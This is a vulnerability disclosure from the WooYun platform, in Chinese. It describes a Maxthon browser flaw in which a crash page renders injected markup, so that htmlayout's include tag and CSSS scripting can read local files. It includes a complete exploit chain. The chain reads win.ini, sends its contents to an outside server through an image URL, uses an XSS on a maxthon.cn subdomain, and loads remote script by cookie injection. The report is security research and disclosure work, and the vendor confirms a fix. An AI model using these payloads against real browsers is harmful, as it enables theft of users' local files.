当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-081919

漏洞标题:傲游浏览器:从鸡肋报错到本地信息读取

相关厂商:傲游

漏洞作者: gainover

提交时间:2014-11-04 00:32

修复时间:2015-02-02 00:34

公开时间:2015-02-02 00:34

漏洞类型:用户敏感数据泄漏

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-04: 细节已通知厂商并且等待厂商处理中
2014-11-04: 厂商已经确认,细节仅向厂商公开
2014-11-07: 细节向第三方安全合作伙伴开放
2014-12-29: 细节向核心白帽子及相关领域专家公开
2015-01-08: 细节向普通白帽子公开
2015-01-18: 细节向实习白帽子公开
2015-02-02: 细节向公众公开

简要描述:

百度浏览器还不更新,只能玩玩其它浏览器啦。测试某API时发现多运行几次就会报错,七捣鼓八弄弄,发现还可以读取本地文件耶~~

详细说明:

1. 对傲游的特权域以及一些API代表何种功能做了一定研究,研究到以下API时,根据猜测填入参数后,发现运行并无反应:(测试在 http://i.maxthon.cn/域下,在控制台里进行)

var x=new maxthon.browser.TabService();
x.openTabWithHistoryList(["http://www.baidu.com"]);


2. 然而,当我猜测性的,给数组里加入一个 null时,页面竟然刷新啦,代码如下:

var x=new maxthon.browser.TabService();
x.openTabWithHistoryList(["http://www.baidu.com",null]);


3. 当我多次在控制台里运行上面代码,比如2个null,3个null后,发现偶尔会出现以下报错信息:

1.jpg


4. 经过反复测试后,与null数量并没关系,只要反复运行【步骤2】中的代码3次,浏览器就会出现以上崩溃错误信息。
5. 但这仅仅是一个崩溃,而且浏览器捕获到了这个异常,并没有影响到浏览器的正常运行。但是,页面中的网址 http://i.maxthon.cn/ 引起了我的注意:
如果我们让崩溃发生在 http://i.maxthon.cn/#<img src=1 onerror=alert(1)>, 会不会有XSS呢?
6. 我们试试,在 http://i.maxthon.cn/#<img src=1 onerror=alert(1)> 执行【步骤2】代码3次,得到下面的结果:

2.jpg


由上图可以看出,看来确实没有过滤HTML标签,显示了一个小图片,但是alert(1)并没有被执行。
7. 第一个念头是:难道这里会做出富文本过滤? 但是一想应该不太可能在这种位置使用《富文本过滤》策略这种繁琐的方案。那alert(1)去哪了呢?
于是,我将代码稍微改变了一下,

http://i.maxthon.cn/#<img src=http://www.x.com/1 onerror=alert(1)>


同【步骤6】进行测试,并开启charles进行抓包,得到以下请求:

3.jpg


8. 这个特殊的User-agent:htmlayout 3.3; Windows-7; www.terrainformatica.com )好像意味着什么。。经过打开百度浏览器上GOOGLE搜素htmlayout,发现这个htmlayout是一个基于HTML的界面库,其渲染引擎为H-smile,如下图所示(图片来源:http://www.terrainformatica.com/wiki/start#htmlayout):

3.gif


9. 由于是独立的渲染引擎,这也意味着在HTML标签以及脚本的支持上与我们常见的webkit等内核是存在差异的,因此我下载了一个htmlayout的sdk,并查阅了其所支持的HTML标签及一些功能。
10. 由于htmlayout主要用于界面显示,它支持绝大部分常见的HTML标签以及CSS样式,并且对HTML标签和CSS做了扩展,比如以下是它所特有的HTML标签(http://www.terrainformatica.com/htmlayout/tags.whtm),例如include和widget标签:

A. include 标签,可以包含子页面htm,有点类似现在的一些HTM模板引擎,典型代码如下:
<include src="document-fragment.html">
<em>Ooops! document-fragment.html is unavailable!</em>
</include>


B. widget 标签,类似一个功能性的<div>标签, 支持4种不同的type
<widget type="select"> - select block element;
<widget type="dropdown-select"> - dropdown select block element;
<widget type="textarea"> - textarea block element;
<widget type="htmlarea"> - htmlarea block element.


HTMLlayout本身不支持脚本(Sciter支持),但其支持一种被称为CSSS的技术,CSSS是被扩展的CSS,可以在CSS内完成一些简单脚本的编写,这类脚本主要与界面的展现有关,而不太具有很强的功能性,比如下面这样的一段代码(当鼠标移动到a标签上时,会触发 hover-on! 内的脚本,让p .slave标签的hover状态也打开,从而显示为红色):

<html>
<head>
<style>
a
{
hover-on!: $(p.slave):hover = true;
hover-off!: $(p.slave):hover = false;
border:1px solid;
}
p.slave:hover
{
color:red;
}
</style>
</head>
<body>
<a>Hover me!</a>
<p .slave>Slave</p>
</body>
</html>


10. 那么基于上面这些,能否带来安全问题呢?这才是我们最为关心的。想要达到执行命令的目的似乎不太可能,因为并没有相关的标签或API可以实现这个目的。但是退而求其次,读取本地文件呢?
于是,我在本地首先测试 <include>标签是否可以包含本地的文件,例如:

<include src="file:///c:\windows\win.ini" />


发现可以正常包含进来,如下图所示:

4.jpg


接着我们要怎么样将这些内容发送到【攻击者】的服务器上呢?
经常弄XSS的我们,不难想到利用 new Image().src="http://hacker.com/?敏感数据" 的方式来进行数据传输。
但是前面已说,htmlayout不支持JS,然而它却支持 csss。经过对csss的语法进行分析后,我们可以写出以下代码,让页面将include 进来的内容 经由图片的src属性发送出去,代码如下:

<body><widget #test type="htmlarea"><include src="file:///c:\windows\win.ini" /></widget>
<img #xx src="11" />
<style>
widget#test > text{
assigned!:$1(img#xx).src="http://www.baidu.com/?"+self:value;color:red;
}
</style>
</body>


其中CSSS代码的含义是,当id="test"的widget中文本被赋予内容时,将id="xx"的img的src属性设置为"http://www.baidu.com/"加上被赋予的内容。
于是,抓包可以看到如下图所示请求:

5.jpg


------------------------------------------------------------
11. 综上所述,我们要利用这个漏洞,需要先访问以下地址:

http://i.maxthon.cn/#<body><widget #test type="htmlarea"><include src="file:///c:\windows\win.ini" /></widget><img #xx src="11" /><style>widget#test > text{assigned!:$1(img#xx).src="http://xsst.sinaapp.com/?"+self:value;color:red;}</style></body>


然后在该地址下面执行三次:

var x=new maxthon.browser.TabService();
x.openTabWithHistoryList(["http://www.baidu.com",null]);


然后浏览器崩溃,执行上面的代码,将用户本地的 win.ini 发送至我们的服务器 http://xsst.sinaapp.com
12. 为了将以上过程自动化,我们首先需要找到 maxthon.cn 域下的一个XSS,这个不是难事:

http://my.maxthon.cn//public/images/swfupload.swf?preventswfcaching=1414769360525&movieName=aaa"])}catch(e){alert(1)}//


接着我们,要让这个页面自动执行3次openTabWithHistoryList,利用代码如下,第一次将代码存入window.name,随后,我们将代码放入cookies中,页面调用openTabWithHistoryList,自动重启后,从cookies中读取利用代码并再次执行,利用代码放在了http://192.168.1.13/mx/poc1.js中,

<script>
window.name='document.cookie="payload='+escape('var s=document.createElement("script");s.src="http://192.168.1.13/mx/poc1.js?"+Math.random();document.body.appendChild(s);')+'; path=/; domain=maxthon.cn";';
location.href='http://my.maxthon.cn//public/images/swfupload.swf?preventswfcaching=1414769360525&movieName=aaa"])}catch(e){if(!window.wy){window.wy=1;window.name%26%26eval(window.name);eval(unescape((document.cookie.match(/payload=([^;]%2b)/)||[0,0])[1]))}};//';
</script>


其中http://192.168.1.13/mx/poc1.js的代码如下:

//将hash(#后的部分)改为我们崩溃后要使用的代码
location.hash='<body><widget #test type="htmlarea"><include src="file:///c:\\windows\\win.ini" /></widget><img #xx src="11" /><style>widget#test > text{assigned!:$1(img#xx).src="http://xsst.sinaapp.com/?"+self:value;color:red;}</style></body>';
//调用openTabWithHistoryList,三次后,页面将出现崩溃错误
var x=new maxthon.browser.TabService();
x.openTabWithHistoryList(["http://www.baidu.com",null]);


13. 最终,我们只需要访问 poc 页面,利用openTabWithHistoryList函数的缺陷导致页面刷新三次后,出现崩溃错误,利用代码被执行,用户本地信息将被恶意窃取。

漏洞证明:

效果见视频:http://v.youku.com/v_show/id_XODE4MjE2MDcy.html
视频密码: wooyuncmd2
自己电脑: win7 64位 以及虚拟机xp 系统环境下傲游v4.4.2.2000下测试成功。

修复方案:

1. 崩溃原因未知,应该是可以修复的。
2. 崩溃之后,页面显示的url地址进行编码后输出。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-11-04 10:20

厂商回复:

感谢报告,马上进行修复

最新状态:

2014-11-05:已修复